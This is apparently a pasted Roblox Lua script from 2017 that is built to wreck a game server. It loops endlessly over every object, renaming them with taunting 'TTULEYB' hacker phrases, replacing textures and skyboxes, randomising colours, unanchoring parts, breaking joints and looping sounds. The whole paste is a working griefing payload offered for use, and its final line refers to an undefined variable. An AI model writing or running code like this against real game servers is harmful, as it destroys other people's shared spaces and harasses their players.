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Oct 23rd, 2017
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  1. -- input
  2. function GetRecursiveChildren(Part, Children)
  3. for _, Part in pairs(Part:GetChildren()) do
  4. pcall(function()
  5. table.insert(Children, Part)
  6. GetRecursiveChildren(Part, Children)
  7. end)
  8. end
  9. return Children
  10. end
  11.  
  12.  
  13. local Phrases = {
  14. "😂TTULEYB WAS HERE!😂",
  15. "😵TTULEYB IS LOADED AN UNDETACTABLE SCRIPT😵",
  16. "🤔WHO MADE TTULEYB ANGRY🤔",
  17. "🤣YOU MAKE TTULEYB ANGRY FOOL🤣",
  18. "🤐NOW SHUT THE F%CK UP AND LET TTULEYB TALK🤐",
  19. "😱WTF TTULEYB WHAT HAVE YOU DONE😱",
  20. "😆HURR DURR😆",
  21. "😡YOU MAD BRO?😡",
  22. "👻TTULEYB ACCESS GRANTED👻",
  23. "🙃TTULEYB HAS BEEN HACKED THE HOLE SERVER🙃",
  24. "😵Congratz Server Has Been Destroyed😵",
  25. "😕g/nl/all Doesnt Work😕",
  26. "😕g/nl/all Doesnt Work😕",
  27. "😕g/nl/all Doesnt Work😕",
  28. "😕g/nl/all Doesnt Work😕",
  29. }
  30.  
  31.  
  32. Textures = {
  33. "http://www.roblox.com/Asset/?id=59515602",
  34. "http://www.roblox.com/Asset/?id=48308661",
  35. "http://www.roblox.com/Asset/?id=42198984",
  36. "http://www.roblox.com/Asset/?id=59421095",
  37. "http://www.roblox.com/Asset/?id=59454680",
  38. "http://www.roblox.com/Asset/?id=59784967",
  39. "http://www.roblox.com/Asset/?id=45791014",
  40. "http://www.roblox.com/Asset/?id=58492970",
  41. "http://www.roblox.com/Asset/?id=59278856"
  42. }
  43.  
  44.  
  45. Instance.new("Sky", game:GetService("Lighting")).CelestialBodiesShown = false
  46. Instance.new("Hint", Workspace)
  47. Instance.new("Hint", Workspace)
  48.  
  49.  
  50. while true do
  51. for _, Part in pairs(GetRecursiveChildren(game, {})) do
  52. pcall(function()
  53. if not Part:IsA("Player")then
  54. pcall(function() Part.Name = Phrases[math.random(1, #Phrases)] end)
  55. pcall(function() Part.Text = Phrases[math.random(1, #Phrases)] end)
  56. pcall(function() Part.Image = Textures[math.random(1, #Textures)] end)
  57. pcall(function() Part.TextureId = Textures[math.random(1, #Textures)] end)
  58. pcall(function() Part.Texture = Textures[math.random(1, #Textures)] end)
  59. pcall(function() Part.ShirtTemplate = Textures[math.random(1, #Textures)] end)
  60. pcall(function() Part.PantsTemplate = Textures[math.random(1, #Textures)] end)
  61. pcall(function() Part.Graphic = Textures[math.random(1, #Textures)] end)
  62. pcall(function() Part.Color = Color3.new(math.random(), math.random(), math.random()) end)
  63. pcall(function() Part.Color3 = Color3.new(math.random(), math.random(), math.random()) end)
  64. pcall(function()
  65. Part.SkyboxUp = Textures[math.random(1, #Textures)]
  66. Part.SkyboxDn = Textures[math.random(1, #Textures)]
  67. Part.SkyboxLf = Textures[math.random(1, #Textures)]
  68. Part.SkyboxRt = Textures[math.random(1, #Textures)]
  69. Part.SkyboxFt = Textures[math.random(1, #Textures)]
  70. Part.SkyboxBk = Textures[math.random(1, #Textures)]
  71. end)
  72. pcall(function()
  73. Part.TextColor3 = Color3.new(math.random(), math.random(), math.random())
  74. Part.BackgroundColor3 = Color3.new(math.random(), math.random(), math.random())
  75. Part.BorderColor3 = Color3.new(math.random(), math.random(), math.random())
  76. end)
  77. pcall(function()
  78. Part.Pitch = math.random() * 5
  79. Part.Volume = 1
  80. Part.Looped = true
  81. Part:Play()
  82. end)
  83. pcall(function()
  84. if math.random(1, 5) == 1 then Part.Anchored = false end
  85. if Part.Anchored == false then
  86. Part.Velocity = Vector3.new(math.random(-10, 10), math.random(0, 50), math.random(-10, 10))
  87. Part.RotVelocity = Vector3.new(math.random(-100, 100), math.random(-100, 100), math.random(-100, 100))
  88. end
  89. Part.Locked = false
  90. Part.BrickColor = BrickColor.random()
  91. Part.TopSurface = "Weld"
  92. Part.BottomSurface = "Weld"
  93. Part.FrontSurface = "Weld"
  94. Part.BackSurface = "Weld"
  95. Part.LeftSurface = "Weld"
  96. Part.RightSurface = "Weld"
  97. Part:BreakJoints()
  98. end)
  99. end
  100. end)
  101. if math.random(1, 50) == 1 then wait() end
  102. end
  103. end
  104. s.Parent = game.workspace
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